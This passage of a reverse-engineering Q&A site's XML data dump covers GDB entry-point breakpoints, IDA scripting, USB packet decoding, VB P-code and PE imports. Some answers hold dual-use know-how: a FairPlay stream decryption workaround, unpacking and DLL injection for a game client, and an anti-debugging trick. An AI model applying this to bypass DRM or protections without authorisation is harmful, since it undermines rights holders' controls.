/lib/x86_64-linux-gnu/ld-2.19.so&#xA;execve(&quot;/lib/x86_64-linux-gnu/ld-2.19.so&quot;, [&quot;/lib/x86_64-linux-gnu/ld-2.19.so&quot;], [/* 96 vars */]) = 0&#xA;brk(0)                                  = 0x7ff787b3d000&#xA;writev(2, [{&quot;Usage: ld.so [OPTION]... EXECUTA&quot;..., 1373}], 1Usage: ld.so [OPTION]... EXECUTABLE-FILE [ARGS-FOR-PROGRAM...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is position-independent.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf -h /lib/x86_64-linux-gnu/ld-2.19.so | grep DYN&#xA;  Type:                              DYN (Shared object file)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Solutions&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It looks like this can be done with Python by utilizing some of the events made available: &lt;a href=&quot;http://asciinema.org/a/19078&quot; rel=&quot;noreferrer&quot;&gt;http://asciinema.org/a/19078&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'd like a native-GDB solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A successful solution will break at &lt;code&gt;_start&lt;/code&gt; in ld.so when executed directly without disabling ASLR.  It should look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sh $ strip -s /lib/x86_64-linux-gnu/ld-2.19.so -o ld.so&#xA;sh $ gdb ./ld.so&#xA;(gdb) $ set disable-randomization off&#xA;(gdb) $ &amp;lt;your magic commands&amp;gt;&#xA;(gdb) $ x/i $pc&#xA;=&amp;gt; 0x7f9ba515d2d0:     mov    rdi,rsp&#xA;(gdb) $ info proc map&#xA;process 10432&#xA;Mapped address spaces:&#xA;&#xA;        Start Addr           End Addr       Size     Offset objfile&#xA;    0x7f9ba515c000     0x7f9ba517f000    0x23000        0x0 /lib/x86_64-linux-gnu/ld-2.19.so &#xA;    0x7f9ba537e000     0x7f9ba5380000     0x2000    0x22000 /lib/x86_64- linux-gnu/ld-2.19.so&#xA;    0x7f9ba5380000     0x7f9ba5381000     0x1000        0x0 &#xA;    0x7fffc34c7000     0x7fffc38ca000   0x403000        0x0 [stack]&#xA;    0x7fffc398b000     0x7fffc398d000     0x2000        0x0 [vdso]&#xA;0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="264" LastEditorUserId="264" LastEditDate="2015-08-03T20:22:01.543" LastActivityDate="2021-03-08T17:28:44.487" Title="Set a breakpoint on GDB entry point for stripped PIE binaries without disabling ASLR" Tags="|debugging|gdb|elf|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8725" PostTypeId="2" ParentId="1817" CreationDate="2015-04-18T20:34:46.167" Score="8" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/pfalcon/ScratchABit&quot; rel=&quot;nofollow noreferrer&quot;&gt;ScratchABit&lt;/a&gt; is an open-source, interactive, incremental, direct-manipulation(*) disassembler with IDAPython-compatible API, allowing reuse of multitude of the plugins developed by the community. ScratchABit stores program state in text files, allowing for easy information reuse and interfacing with other applications and scripts, or tracking history and working collaboratively using version control systems, and minimizing risk of database corruption and recovery efforts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full disclosure: I'm the author of ScratchABit and it is a work-in-progress project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(*) Direct manipulation means that you press a command key and immediately get a reaction, you don't need to type long commands with manually specified addresses and parameters and press Enter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ih5Ds.png&quot; alt=&quot;ScratchABit screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2076" LastEditorUserId="2076" LastEditDate="2017-12-26T10:57:37.017" LastActivityDate="2017-12-26T10:57:37.017" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8726" PostTypeId="1" AcceptedAnswerId="8728" CreationDate="2015-04-19T01:56:06.670" Score="1" ViewCount="787" Body="&lt;p&gt;There's a closed source binary that I'm analyzing, and there's a call to &lt;code&gt;VirtualProtect&lt;/code&gt; that fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, &lt;code&gt;VirtualProtect&lt;/code&gt; stores the error code somewhere accesible only via &lt;code&gt;GetLastError&lt;/code&gt;, and the binary doesn't even import that function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I somehow get the error code without hooking?&lt;/p&gt;&#xA;" OwnerUserId="4750" LastActivityDate="2015-04-19T08:27:26.600" Title="Can I get the last error using IDA under Windows?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8728" PostTypeId="2" ParentId="8726" CreationDate="2015-04-19T08:27:26.600" Score="5" Body="&lt;p&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-in/library/windows/desktop/ms679360(v=vs.85).aspx&quot;&gt;&lt;code&gt;GetLastError&lt;/code&gt;&lt;/a&gt; simply returns &lt;code&gt;LastErrorValue&lt;/code&gt; from the &lt;a href=&quot;http://undocumented.ntinternals.net/source/usermode/undocumented%20functions/nt%20objects/thread/teb.html&quot;&gt;&lt;code&gt;TEB&lt;/code&gt;&lt;/a&gt; (&lt;code&gt;Thread Environment Block&lt;/code&gt;) of the thread concerned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can access &lt;code&gt;TEB&lt;/code&gt; of the current thread through the segment register &lt;code&gt;FS&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;FS:[0x18]&lt;/code&gt; contains the pointer to &lt;code&gt;TEB&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2015-04-19T08:27:26.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8729" PostTypeId="1" CreationDate="2015-04-19T14:55:48.567" Score="2" ViewCount="611" Body="&lt;p&gt;We have an old 2D space shooter multiplayer game community form late 1990s. The game is still alive today but the problem is the creators of the game are no where to be found and the source code is missing. Although, still functional the client and server badly need some updates. For example, all download speeds are capped for 56k connections... So I'm a java developer by trade and I tried to use IDA but I feel like I'm not qualified to try to disassemble client/server that were written in C++ and probably have built in security for such purposes. I want to learn IDA but i'm just so busy atm with other projects but I would like to solve this problem some how or at least investigate what is possible. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is it possible to fully reverse engineer the legacy C++ code? &lt;/li&gt;&#xA;&lt;li&gt;Is it possible to partially reverse engineer and maybe at least adjust some constant values that are embedded inside the exe&lt;/li&gt;&#xA;&lt;li&gt;Are there any disassembly service companies that specialize in this task? &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;the game is called Continuum/Subpsace. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.getcontinuum.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.getcontinuum.com/&lt;/a&gt;    (link to client installer)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample enhancements: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Increase the cap value on download/upload speed for greater than 56k connections&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Allow the client to download and play mp3 files (currently on does .wav files)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If possible ability to upgrade graphics library used&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Allow for editing of key/value properties in game (right now you have to exit the game to change certain properties)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12300" LastEditorUserId="12300" LastEditDate="2015-04-20T13:38:54.573" LastActivityDate="2015-04-25T11:39:32.057" Title="Need to recover C++ code from binary of server and client" Tags="|ida|disassembly|c++|disassemblers|interoperability|" AnswerCount="1" CommentCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="8730" PostTypeId="2" ParentId="8729" CreationDate="2015-04-19T19:24:21.563" Score="1" Body="&lt;p&gt;I checked client exe file and it looks like Pack Master 1.0 (PEX 0.99 Clone) was used to encrypt binary. So first step would be to unpack EXE file. From that point some binary patching might be possible. &#xA;There is another way of making changes. There is possibility to inject new or changed functionality using dll injection.&lt;/p&gt;&#xA;" OwnerUserId="8133" LastEditorUserId="8133" LastEditDate="2015-04-25T11:39:32.057" LastActivityDate="2015-04-25T11:39:32.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8732" PostTypeId="1" AcceptedAnswerId="8733" CreationDate="2015-04-20T03:46:42.333" Score="2" ViewCount="2377" Body="&lt;p&gt;Is there a way to set breakpoints on all references in one click like we do in OllyDBG &quot;Set breakpoint on every reference&quot; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g: after locating CreateFileA API and pressing &quot;x&quot; to see all references, we can see where all calls for this function are ... but is there a way to set bps on all calls in one click ?&lt;/p&gt;&#xA;" OwnerUserId="11757" LastEditorUserId="2318" LastEditDate="2015-04-20T06:37:57.497" LastActivityDate="2015-04-20T06:37:57.497" Title="Set breakpoints on all references in IDA" Tags="|ida|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8733" PostTypeId="2" ParentId="8732" CreationDate="2015-04-20T06:20:31.523" Score="4" Body="&lt;p&gt;I don't know about existence of such an ability in IDA, but you can do it with IDAPython as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#I didn't check this code, use carefully, beware of errors&#xA;&#xA;import idc&#xA;import idaapi&#xA;import idautils&#xA;&#xA;def set_breakpoints_on_calls(ea):&#xA;    print &quot;Setting breakpoints on &quot;, hex(ea)&#xA;    for ref in idautils.CodeRefsTo(ea, 0):&#xA;        print &quot;Adding bpt on &quot;, hex(ref)&#xA;        idc.AddBpt(ref)&#xA;&#xA;def set_breakpoints_on_screen_ea():&#xA;    print &quot;Started&quot;&#xA;    set_breakpoints_on_calls(idc.ScreenEA())&#xA;&#xA;idaapi.add_hotkey(&quot;Alt-Z&quot;, set_breakpoints_on_screen_ea)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By running this code from execute script window you are adding hotkey Alt-Z&#xA;which sets breakpoints to all calls to the address where cursor is located.&#xA;You can add this code to &lt;code&gt;idapythonrc.py&lt;/code&gt; file in IDA root folder to make this shortcut persistent (you'll need to rerun IDA after it).&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2015-04-20T06:36:46.047" LastActivityDate="2015-04-20T06:36:46.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8734" PostTypeId="1" CreationDate="2015-04-20T13:22:35.610" Score="1" ViewCount="102" Body="&lt;p&gt;Im hoping to understand the way a auto diagnostics tool is reporting data over usb.&#xA;I've made a usb capture to look for changes according to known changes to the input it measures.&#xA;The measurement is of throttle position, and is reported from 0.000000% to 100.000000% (6 decimal shown)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Here as a full packet, throttle 100%&#xA;    41 05 2B C0 FF 15 01 00 AA 00 00 00 00 00 FF 15&#xA;    16 00 01 AA 00 00 00 00 01 08 11 00 05 61 C6 00&#xA;    6D C3 67 52 4C 49 2D FF 00 00 00 00 55 00 F2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is a sequence of packets, only showing the last line which changes, along with the times in a row that same packet was recieved&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Throttle ~50%&#xA;6D C3 67 52 4C 49 2D 7F 00 00 00 00 55 00 72 x3&#xA;6C C3 67 52 4C 49 2D 7F 00 00 00 00 55 00 73 x3&#xA;6D C3 67 52 4C 49 2D 7F 00 00 00 00 55 00 72 x5&#xA;6C C3 67 52 4C 49 2D 7F 00 00 00 00 55 00 73 x1&#xA;&#xA;Throttle 100%&#xA;6C C3 67 52 4C 49 2D FF 00 00 00 00 55 00 F3 x2&#xA;6D C3 67 52 4C 49 2D FF 00 00 00 00 55 00 F2 x4&#xA;6C C3 67 52 4C 49 2D FF 00 00 00 00 55 00 F3 x3&#xA;6D C3 67 52 4C 49 2D FF 00 00 00 00 55 00 F2 x3&#xA;&#xA;Throttle 0%&#xA;6D C3 67 52 4C 49 2D 00 00 00 00 00 55 00 F1 x2&#xA;6C C3 67 52 4C 49 2D 00 00 00 00 00 55 00 F2 x1&#xA;6D C3 67 52 4C 49 2D 00 00 00 00 00 55 00 F1 x1&#xA;6C C3 67 52 4C 49 2D 00 00 00 00 00 55 00 F2 x1&#xA;6D C3 67 52 4C 49 2D 00 00 00 00 00 55 00 F1 x3&#xA;6C C3 67 52 4C 49 2D 00 00 00 00 00 55 00 F2 x1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So initially I noticed the 8th byte and thought it might correlate to a ADC reading of 0 - 255 that is then displayed as 0 - 100%. But then i found in the logs that it saves percentage readings to 6 decimal places with _TYPE=&quot;FLOAT&quot; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ive also noticed that within a group of similar packets that correlate to the same throttle position, there is an alternating pattern of changes to the first and last byte (for that line)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ive also noticed that the packets are nearly all the same, except for what seem like small differences but which must make larger differences to the stored data than seems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So can anyone see how it might be stored ?&lt;/p&gt;&#xA;" OwnerUserId="11564" LastActivityDate="2015-04-20T13:22:35.610" Title="Work out packet structure from usb capture" Tags="|hex|usb|struct|packet|float|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8735" PostTypeId="2" ParentId="6678" CreationDate="2015-04-20T15:39:06.190" Score="5" Body="&lt;p&gt;I have spent some time to look into Apple's airplay mirroring support, which is encrypted by fairplay protocol. After investigating serveral existing commercial applications I have finally managed to get a way of decrypting fairplay protected streams.&#xA;I have extended the shairplay code to demostrate this ability. Please look at &lt;a href=&quot;https://github.com/foxsen/shairplay&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/foxsen/shairplay&lt;/a&gt;, parts of the README.md:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update by foxsen, 2015/4/20: Experimental support for fairplay protocol and airplay:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;fairplay encrpted audio is supported (et == 3)&lt;/li&gt;&#xA;&lt;li&gt;AAC-ELD audio is supported(untested yet)&lt;/li&gt;&#xA;&lt;li&gt;airplay service framework is added, up to the point that the mirroring connection starts streaming. But the UI and callbacks to be done.&lt;/li&gt;&#xA;&lt;li&gt;fairplay support is performed via interactions with a server&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Because I have not enough time and interest to do all the other necessary coding to make a full open source solution that support mirroring, I hope people can help to continue the project or port my code into other projects like kodi. I am willing to help with related issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dirty works are hidden in my server app. During a session with fairplay, we need to interact with the server for three times to get the job done. You can read the code above to learn how. When I get more time, I prepare the write something about this part of work. Basically it involves some reverse engineering and a lot of tricks to rebuild a relocatable object from part of a binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Public access to that app is open and free for personal visits now. If anybody want to use it in commercial environment, you can contact me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Happy hacking.&lt;/p&gt;&#xA;" OwnerUserId="12306" LastActivityDate="2015-04-20T15:39:06.190" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="8736" PostTypeId="1" CreationDate="2015-04-20T18:59:02.630" Score="2" ViewCount="2129" Body="&lt;p&gt;I tried running on linux via root terminal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdbserver --multi localhost:23947&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then at IDA Pro at Wine I use Remote GDB debugger with my local ip and port:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TQNzA.png&quot; alt=&quot;IDA PRO GDB settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I start debugging I think registers receive wrong values:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sFL8p.png&quot; alt=&quot;IDA at debug session&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running latest version of Opensuse Tumbleweed and IDA PRO 6.6 x64 Win32 under Wine.&lt;/p&gt;&#xA;" OwnerUserId="1966" LastActivityDate="2019-04-17T16:15:02.460" Title="How to set-up GDB debugging in IDA Pro on Linux via Wine?" Tags="|ida|debugging|linux|gdb|wine|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8737" PostTypeId="2" ParentId="2331" CreationDate="2015-04-21T08:01:12.397" Score="13" Body="&lt;p&gt;Another way to find url with audio file is check get requests by Developer Tools in Chrome browser:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BMsHJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11905" LastEditorUserId="11905" LastEditDate="2018-03-27T15:49:20.867" LastActivityDate="2018-03-27T15:49:20.867" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8738" PostTypeId="1" AcceptedAnswerId="8740" CreationDate="2015-04-21T14:21:44.363" Score="6" ViewCount="2787" Body="&lt;p&gt;I enjoy idling in programming related IRC channels so I can research any topic which catches my interest.  I have checked the channels for a few forums that I browse, but I can't seem to find an active community.  What are some active RCE related channels?  It can be about malware analysis / tools / general help / etc, anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this is on topic.  I can't think of anywhere else to ask.&lt;/p&gt;&#xA;" OwnerUserId="12276" LastActivityDate="2015-04-21T20:39:37.937" Title="Are there any active IRC channels for RCE discussion?" Tags="|disassembly|" AnswerCount="2" CommentCount="1" CommunityOwnedDate="2015-04-22T11:49:32.743" ContentLicense="CC BY-SA 3.0" />
  <row Id="8739" PostTypeId="2" ParentId="1541" CreationDate="2015-04-21T14:23:05.423" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The interrupt 0x2D is a special case. When it is executed, Windows&#xA;  uses the current EIP register value as &lt;strong&gt;the exception address&lt;/strong&gt;, and then&#xA;  it increments by one &lt;strong&gt;the EIP register value&lt;/strong&gt;. However, Windows also&#xA;  examines the value in the EAX register to determine how to adjust &lt;strong&gt;the&#xA;  exception address&lt;/strong&gt;. If the EAX register has the value of 1, 3, or 4 on&#xA;  all versions of Windows, or the value 5 on Windows Vista and later,&#xA;  then Windows will increase by one &lt;strong&gt;the exception address&lt;/strong&gt;. Finally, it&#xA;  issues an EXCEPTION_BREAKPOINT (0x80000003) exception if a debugger is&#xA;  present. The interrupt 0x2D behaviour can cause trouble for debuggers.&#xA;  The problem is that some debuggers might use the EIP register value as&#xA;  the address from which to resume, while other debuggers might use &lt;strong&gt;the&#xA;  exception address&lt;/strong&gt; as the address from which to resume. This can result&#xA;  in a single-byte instruction being skipped, or the execution of a&#xA;  completely different instruction because the first byte is missing.&#xA;  These behaviours can be used to infer the presence of the debugger.&#xA;  The check can be made using this code (identical for 32-bit and&#xA;  64-bit) to examine either the 32-bit or 64-bit Windows environment:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;At first, I didn't understand the meaning of the &quot;exception address&quot; and I think I'm not the only one. Fortunately, the Dr. Fu's blog have a better explanation about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From Dr Fu's blog:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Here the &quot;exception address&quot; is the &quot;EIP value of the context&quot; (which&#xA;  to be copied back to user process), and the &quot;EIP register value&quot; is&#xA;  the real EIP value of the user process when the exception occurs.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12318" LastActivityDate="2015-04-21T14:23:05.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8740" PostTypeId="2" ParentId="8738" CreationDate="2015-04-21T20:20:32.953" Score="5" Body="&lt;p&gt;On Freenode check out:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;##re&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;##asm&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;#radare&quot;&lt;/p&gt;&#xA;" OwnerUserId="10038" LastActivityDate="2015-04-21T20:20:32.953" CommentCount="0" CommunityOwnedDate="2015-04-22T11:49:32.743" ContentLicense="CC BY-SA 3.0" />
  <row Id="8741" PostTypeId="2" ParentId="8738" CreationDate="2015-04-21T20:39:37.937" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://woodmann.com/krobar/beginner/221.html&quot; rel=&quot;nofollow&quot;&gt;#cracking4newbies&lt;/a&gt; on &lt;a href=&quot;http://en.wikipedia.org/wiki/EFnet&quot; rel=&quot;nofollow&quot;&gt;EFnet&lt;/a&gt;​​​​​&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-04-21T20:39:37.937" CommentCount="0" CommunityOwnedDate="2015-04-22T11:49:32.743" ContentLicense="CC BY-SA 3.0" />
  <row Id="8743" PostTypeId="1" CreationDate="2015-04-22T03:09:05.030" Score="2" ViewCount="2424" Body="&lt;p&gt;I have to reverse-engineer a VB P-CODE mode program. I had the program's P-CODE, but I don't know what it means. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Proc: 421840&#xA;421100: 04 FLdRfVar                local_0098&#xA;421103: 04 FLdRfVar                local_0094&#xA;421106: 05 ImpAdLdRf:              435aec&#xA;421109: 24 NewIfNullPr             408868&#xA;42110C: 0d VCallHresult            CVBApplication::get_&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have to find the tools to reverse a program.I want to know what the P-CODE means.Thanks&lt;/p&gt;&#xA;" OwnerUserId="12322" LastEditorUserId="4437" LastEditDate="2015-04-28T08:16:36.880" LastActivityDate="2016-09-18T04:16:53.613" Title="About the VB P-CODE mode reverse-engineer" Tags="|binary-analysis|visual-basic|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8744" PostTypeId="2" ParentId="3296" CreationDate="2015-04-22T06:20:23.150" Score="2" Body="&lt;p&gt;It is an encrypted firmware of the GBR2851T Freeview HD Digital Receiver, so you cannot extract it without the proper encryption key.&lt;br&gt;&#xA;If you are interested in i-CAN (ADB) internals, see the following vulnerability report &lt;a href=&quot;http://www.security-explorations.com/materials/se-2011-01-adb.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.security-explorations.com/materials/se-2011-01-adb.pdf&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2015-04-22T06:20:23.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8745" PostTypeId="2" ParentId="8743" CreationDate="2015-04-22T09:03:18.457" Score="4" Body="&lt;p&gt;Here are the two best free and available resources about Microsoft's VB P-Code.&#xA;First one, the list of opcodes (&lt;a href=&quot;http://web.archive.org/web/20101127044116/http://vb-decompiler.com/pcode/opcodes.php?t=1&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;). Second one, a 12 pages document written by &lt;em&gt;Alex Ionescu&lt;/em&gt; on how to decompile and analyze VB binaries (&lt;a href=&quot;http://web.archive.org/web/20071020232030/http://www.alex-ionescu.com/vb.pdf&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2015-04-22T12:40:36.663" LastActivityDate="2015-04-22T12:40:36.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8746" PostTypeId="2" ParentId="8743" CreationDate="2015-04-22T14:07:00.950" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://www.vb-decompiler.org/products.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;VB Decompiler Pro&lt;/a&gt; decompiles VB P-Code to Visual Basic code. See below for an example of the decompilation output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qnyDw.png&quot; alt=&quot;Decompilation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if you're looking for help in analyzing the raw P-Code itself, you can check out the following links in addition to the links that &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/4437/yaspr&quot;&gt;yaspr&lt;/a&gt; &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/8745/1562&quot;&gt;posted&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.woodmann.com/crackz/Tutorials/Vbpcode.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;VB P-code Information by Mr Silver&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.woodmann.com/crackz/Archives/Vbpcode.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;Info about P-code&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-04-22T14:07:00.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8747" PostTypeId="2" ParentId="2331" CreationDate="2015-04-22T19:40:14.513" Score="2" Body="&lt;p&gt;Nowadays webpages commonly uses players written with Javascript, so you need a little html and js knowledge to dig out and use some web development tools like others mentioned&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is an easier way of doing this. You can just use an app like &lt;a href=&quot;http://wwww.internetdownloadmanager.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Internet Download Manager (IDM)&lt;/a&gt; which offers to download any kind of multimedia file on playing on a browser. It supports all audio video playing websites like Youtube, Grooveshark etc. Its shareware but you can make this operation with trial version too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install the application and restart your browser. It supports Firefox, Chrome, Opera, IE, Safari etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you play the file on the page you will see an icon on the left top of the window&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jIElb.jpg&quot; alt=&quot;Download Audio&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you click icon you will see the download file info window which has file url and other information. You can copy and use file name part of the url. Usually it has a pattern and you can guess or find paths of other files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qodev.jpg&quot; alt=&quot;Download File Info Dialog&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-04-22T19:40:14.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8748" PostTypeId="2" ParentId="8724" CreationDate="2015-04-22T22:44:01.907" Score="24" Body="&lt;p&gt;UPDATE: GDB 8.1 has a &lt;code&gt;starti&lt;/code&gt; command, as mentioned below by /u/ruslan&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting a breakpoint on an unmapped address before starting the target process does this, effectively.  It's not correct functionality, but rather a side-effect of the failure to set the breakpoint.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) break *0&#xA;Breakpoint 1 at 0x0&#xA;(gdb) r&#xA;Starting program: /home/user/ld.so &#xA;Error in re-setting breakpoint 1: Warning:&#xA;Cannot insert breakpoint 1.&#xA;Cannot access memory at address 0x0&#xA;&#xA;Warning:&#xA;Cannot insert breakpoint 1.&#xA;Cannot access memory at address 0x0&#xA;&#xA;(gdb) x/i $pc&#xA;=&amp;gt; 0x7faae3a25cd0:      mov    rdi,rsp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="264" LastEditorUserId="264" LastEditDate="2018-02-06T22:45:21.280" LastActivityDate="2018-02-06T22:45:21.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8749" PostTypeId="1" AcceptedAnswerId="8764" CreationDate="2015-04-23T09:11:13.087" Score="2" ViewCount="965" Body="&lt;p&gt;According to what I know, Import Descriptor table is made of an array of &lt;code&gt;_IMAGE_IMPORT_DESCRIPTOR&lt;/code&gt; structures. There is one &lt;code&gt;_IMAGE_IMPORT_DESCRIPTOR&lt;/code&gt; for every dll that is imported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an exe which has two &lt;code&gt;_IMAGE_IMPORT_DESCRIPTOR&lt;/code&gt; for &lt;em&gt;kernel32.dll&lt;/em&gt;.&#xA;&lt;br&gt;&lt;strong&gt;Why is this so?&#xA;&lt;br&gt;Why does this exe need to import the dll twice ?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I'm using &lt;em&gt;PEview&lt;/em&gt; to see the PE structure. Is it possible that PEview is getting confused? Even if there is a problem with &lt;em&gt;PEview&lt;/em&gt; &lt;strong&gt;is it possible for an exe to import the same dll 